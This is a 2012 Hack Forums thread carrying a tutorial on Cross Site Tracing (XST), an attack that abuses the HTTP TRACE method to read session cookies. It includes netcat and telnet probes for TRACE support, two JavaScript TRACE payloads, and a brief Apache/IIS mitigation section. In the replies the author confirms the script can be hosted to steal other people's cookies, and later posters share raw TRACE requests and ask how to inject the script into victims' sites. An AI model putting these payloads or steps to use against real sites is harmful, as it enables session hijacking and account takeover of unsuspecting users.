

Forum:[Hack Forums](#)

Thread: [\[Tutorial by Zykl0n B\] XST : Cross Site Tracing - Fully Detailed](#)

Error667 - October 18, 2012, 6:36 am

Well guys, here is another tutorial I wrote 2 days ago. To answer questions from some members, I've been arrested but will continue to learn and to teach things about security (without hacking for real).

This text is written for personal learning only in the goal to learn defence to learn how to protect against this type of attack. I do not endorse or promote any act of hacking.

Overview

Cross Site Tracing (XST) enables an attacker to steal the victim's session cookies and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to destination system's web server. XST is based on the HTTP TRACE function. XST Attack is possible if there is already an XSS vulnerability.

Utility ? An XSS vulnerability would not normally have access to information (including cookies) on another site apart the one which has a flaw, because of browser security models. The XST overcomes this limitation.

How ? Because the TRACE method returns the full header of the client request. Cookies of a domain targeted by a query automatically appear in the header sent by the browser.

SYSTEMS AFFECTED ;

Apache
IBM Corporation
Lotus Software
Microsoft Corporation
Sun Microsystems, Inc.

To perform this type of attack, it is highly recommended to use old browsers versions like IE 6.0. Indeed, 'httpOnly', an extra parameter added to cookies which hides the cookie from the script by disallowing the scripting languages (JS, VB) on the "document.cookie" object, is supported on most browsers nowadays, but still not IE 6.0 or above. Then, it's easier to get the data.

In this type of attack, even if 'httpOnly' is enabled, an attacker could send to the browser an HTTP TRACE request, and then send the server response to another website.

Doing that can be, for example, used to bypass the browser protection politic, or even to do some phishing.

AN EXAMPLE OF ATTACK.

A - Is the target supporting HTTP TRACE ?

1 - With NetCat.

Easy to know. Go on your linux machine and download NETCAT. Then, do like the following command ;

Code nc www.target.com 80
Something like that should be returned ;

```
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0
```

As you can see at the 5th line, TRACE is supported.

2 - With Telnet.

Just enter this command :

Code telnet www.target.com 80
If you see a line 'TRACE: yes' in the report, so it's enabled.

3 - With RESTClient (Firefox add-on).

Download link : <https://addons.mozilla.org/en-US/firefox/addon/restclient/>

B - Exploitation

The goal is here to enter an XST script (=request) in a webpage of a target as a POST method. Here is an example which can be used :

```
Code <script type="text/javascript">
[b]<!--[b]
function sendTrace () {
    var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    xmlhttp.open("TRACE", "INSERT_YOUR_URL_HERE",false);
    xmlhttp.send();
    xmlDoc=xmlhttp.responseText;
    alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">
```

I've written the explanations of this script, whose you can see below :

```
var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); // Creates the object
```

```
xmlhttp.open("TRACE", "INSERT_YOUR_URL_HERE",false); // Specifies the type of request, the
URL, and if the request should be handled asynchronously or not.
    method: the type of request - GET or POST
    url: the location of the file on the server
```

async: true (asynchronous) or false (synchronous)

```
xmlHttp.send(); // Used to transfer data to the server
```

```
xmlDoc=xmlHttp.responseText; // get the response data as a string
```

```
alert(xmlDoc); // Display the XML content using javascript
```

```
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request"> // Makes a button. To resume, it starts the script when you click on.
```

Another script, which is better for XST :

```
Code <script type="text/javascript">
function xssDomainTraceRequest(){
var exampleCode = "var xmlHttp = new
ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE","INSERT_YOUR_URL_HERE",false)\
;xmlHttp.send();xmlDoc=xmlHttp.responseText;alert(xmlDoc)\;";
var target = "INSERT_YOUR_URL_HERE";
cExampleCode = encodeURIComponent(exampleCode + ";top.close()");
var readyCode = 'font-size:expression(execScript(decodeURIComponent("'" + cExampleCode +
")))';
showModalDialog(target, null, readyCode);
}
</script>
<INPUT TYPE=BUTTON OnClick="xssDomainTraceRequest()" VALUE="Show Cookie
Information Using TRACE">
Explanations of some commands (Well to be honest, I'll not explain what I don't understand - was
easier for the 1st script.) :
```

showModalDialog(target, null, readyCode); // Creates a modal dialog box that displays the specified HTML document.

cExampleCode = encodeURIComponent(exampleCode + ";top.close()"); // Means that 'cExampleCode' is the URI's exampleCode which has been encoded.

(decodeURIComponent("'" + cExampleCode + "'"))'; // Decodes the URI of 'cExampleCode'.

xmlHttp.open("TRACE","INSERT_YOUR_URL_HERE",false) // Same as before.

top.close() // Used to close the JS pop'up.

var target = "INSERT_YOUR_URL_HERE"; // Just to enter the URL of the target.

Note that a part of the data you'll get (like the authorization parameter) will be in BASE64 encoded. You can find tons of BASE64 decoders, but I would recommend this one :

http://www.crypto.org/tools/eng_base64c.php

You should have a classic JS window which appears when you execute the script code. For now, you don't see many differences with XSS. But wait.

XST's potential : to go further

Using a client-side vulnerability (to be more precise, a vuln in the victim's browser), an hacker may host a website that contains one of the malicious javascript source code we have seen previously.

The Javascript code would just have to establish a connection to a random site that supports TRACE and where the victim is connected on. After stealing authentication cookies, the victim's account becomes

compromised. And this, just with a link.

Of course, one could multiply the number of malicious scripts on the website in order to do the same on several sites simultaneously.

If you still don't understand, here's a schema I made.

How to protect ?

So, you don't want all this shit happens ? XST is easy to avoid : you need to disable HTTP TRACE support.

1 - Apache systems

You need to set TraceEnable Off. Change ON by OFF in the main server config.

If you're boring and want a longer method, use the mod_rewrite module. TRACE requests can be disabled with the following mod_rewrite syntax :

Code RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F].

You can verify using Telnet (Refer to A2). If TRACE has been disabled, the server should respond with a 403 Forbidden or 405 Method Not Allowed.

2 - Microsoft IIS

Use the URLScan tool to deny HTTP TRACE requests, available here :

<http://www.iis.net/learn/extensions/working-with-urlscan/urlscan-3-reference>

Make sure the version of the tool is higher than 2.5.

*

I hope I was clear enough on this tutorial.

Regards,

Twitter : <https://twitter.com/BZyklon#>

Zixem - October 18, 2012, 6:48 am

Still reading it...looks interesting Zyklon B thanks C:

Bacardi - October 18, 2012, 6:52 am

Very interesting indeed. I've never heard of this method before.

Bookmarking it for sure.

WhiteHatMaster - October 18, 2012, 7:24 am

Can you put this on your own webserver to get other peoples cookies for different websites?

SIM-111414 - October 18, 2012, 7:42 am

Interesting tut.

Explained very well friend.

Thanks for sharing it. :)

R3verse - October 18, 2012, 8:43 am

Dear OP,

Well there we have it.. Right on the spot.

Many people questions thoes things these days, when they fire up Nessus or something simillary.. Well they are cabable of doing more than XST, but they do not know how to - regarding to the novices.

Anyways, you deserve a pad on the shoulder for lay out these details man.

I'm studying Java programming atm, and can follow you througout the tut though..

If you got the feeling in OOA/D and how to handle it.. pff, every task is a minor glitch of payment.

Keep the fire going man..

Sincerely,

Suved - October 18, 2012, 9:11 am

Never heard of XST before.

Thanks for sharing.

I have bookmarked it I will read it later.

SUPER CHAMP - October 18, 2012, 9:15 am

Nice HQ tut mate.

Since I don't have a linux and I don't wanna do that VM mess is there any other method by which I can check the vulnerability?

Is this working on Microsoft IIS 6.0/7.5?

Error667 - October 18, 2012, 12:18 pm

Thanks guys.

(Oct 18, 2012 07:24 AM)WhiteHatMaster Wrote: [\[CITE\]](#) Can you put this on your own webserver to get other peoples cookies for different websites?

Sure, that's the one of the main goals of XST.

(Oct 18, 2012 09:15 AM)SUPER CHAMP Wrote: [\[CITE\]](#) Nice HQ tut mate.

Since I don't have a linux and I don't wanna do that VM mess is there any other method by which I can check the vulnerability?

Is this working on Microsoft IIS 6.0/7.5?

Well yes, there is the firefox plug-in. It probably works with ISS 6.0, and maybe for 7.5 (not sure for this one, I didn't checked).

KernelMode - October 18, 2012, 2:50 pm

Very nice tutorial. I'm surprised nobody else is posting.

TheNeutron - October 18, 2012, 3:54 pm

Nope, Haven't heard about this trick. Thanks for sharing Zyklon ;)

?asp3r - October 18, 2012, 6:48 pm

Zyklon werent you arrested or charged with something??

Does this mean you are back?

Apple J4ck. - October 18, 2012, 6:50 pm

Wow very good tut i start reading it now .

Thanks Zyklon B :)

~Apple

razem - October 18, 2012, 7:47 pm

Very nice, I have never seen/heard of this before. Nice job.

zinquw - October 19, 2012, 1:44 am

Thanks for sharing! Great tutorial! Cheers!

Error667 - October 19, 2012, 4:11 am

Thanks guys, I hope it's understandable.

Anarkhos - October 19, 2012, 8:10 am

Very nice tut. Simple / looks nice. First time I've heard about it.

I find it amazing that you still give back to the HF community even after what you went trough. You get a high-five from me.

You are a REAL HQ member.

12345xmen - October 19, 2012, 10:48 am

form where get idea to think abt this ..btw vry good tut budy..alwys like to read ur tut :)

djmayur - October 19, 2012, 11:39 am

Hey thanks, its new for me, Thanks for sharing.

Catzbow - October 19, 2012, 11:45 am

It's really a nice tutorial. I finished to read it before a few minutes.

Thank you.

[Alias] - October 19, 2012, 11:49 am

I've heard about this vuln before, but never exploited it. Thanks for the TuT.

French FTW!!

Alias.

king225 - October 20, 2012, 10:21 am

I have not heard before ,, Thanx for share with us

Error667 - October 21, 2012, 5:17 am

I updated the post, something was wrong with the schema.

Th3PonyWizard - October 21, 2012, 5:21 am

Didn't you like, got arrested or something?

In any way, nice write up ^^

samrokzz - October 21, 2012, 6:40 am

Very nice tutorial .

Thanks for it .

Error667 - October 30, 2012, 7:00 pm

Will release new tutorials in some days.

You can check my last writing about RSA cryptosystem here :

<https://hackforums.net/showthread.php?tid=2965853>

Thanks for support.

Scooby Doo. - March 18, 2013, 9:13 am

This is a very HQ tutorial, thanks for sharing buddy.

D-M-C - March 18, 2013, 9:30 am

very nice tutorial thanks in advance

jeetjain2345 - April 11, 2013, 3:03 am

Nice tutorial but I tried it and not understood completely, how to use addon and how to make req, through telnet I checked trace is enable but don't know what to do next if any short example of this kind of attack will be helpful. One more question XSS should be in website for this kind of attack

Below posting logs what I had tried up-to now

telnet www.target.com 80

OPTIONS / HTTP/1.1

Host: www.target.com

I got response like this with the above request.

HTTP/1.1 200 OK

Date: Thu, 11 Apr 2013 09:55:12 GMT

Server: Apache/2.0.49 (Fedora)

Allow: GET,HEAD,POST,OPTIONS,TRACE

Content-Length: 0

Content-Type: application/x-httpd-php

Then I tried this request.

telnet www.target.com 80

TRACE / HTTP/1.1

Content-Type: text/html; <script>alert('xss');</script>

Host: www.target.com

And response was this.

HTTP/1.1 200 OK

Date: Thu, 11 Apr 2013 09:56:57 GMT

Server: Apache/2.0.49 (Fedora)

Transfer-Encoding: chunked

Content-Type: message/http

6e

TRACE / HTTP/1.1

Content-Type: text/html; <script>alert('xss');</script>

Host: www.target.com

host name has been changed as target

hope u will post what steps should be after this,I am asking also for learning purpose too.

Thanks in advance

Aryaman - July 22, 2013, 9:36 pm

quite interesting tut helping a lot.

Puller - July 22, 2013, 9:43 pm

I hope you know you grave digged a thread from 2012.

Katalyst Dre - September 5, 2019, 9:11 pm

The goal is here to enter an XST script (=request) in a webpage of a target as a POST method.
Here is an example which can be used :

Code <script type="text/javascript">

[b][b]<!--[/b][b]

function sendTrace () {

var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

xmlHttp.open("TRACE", "INSERT_YOUR_URL_HERE",false);

xmlHttp.send();

xmlDoc=xmlHttp.responseText;

alert(xmlDoc);

}

//-->

</script>

<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

How do I enter the XST script into the victims site?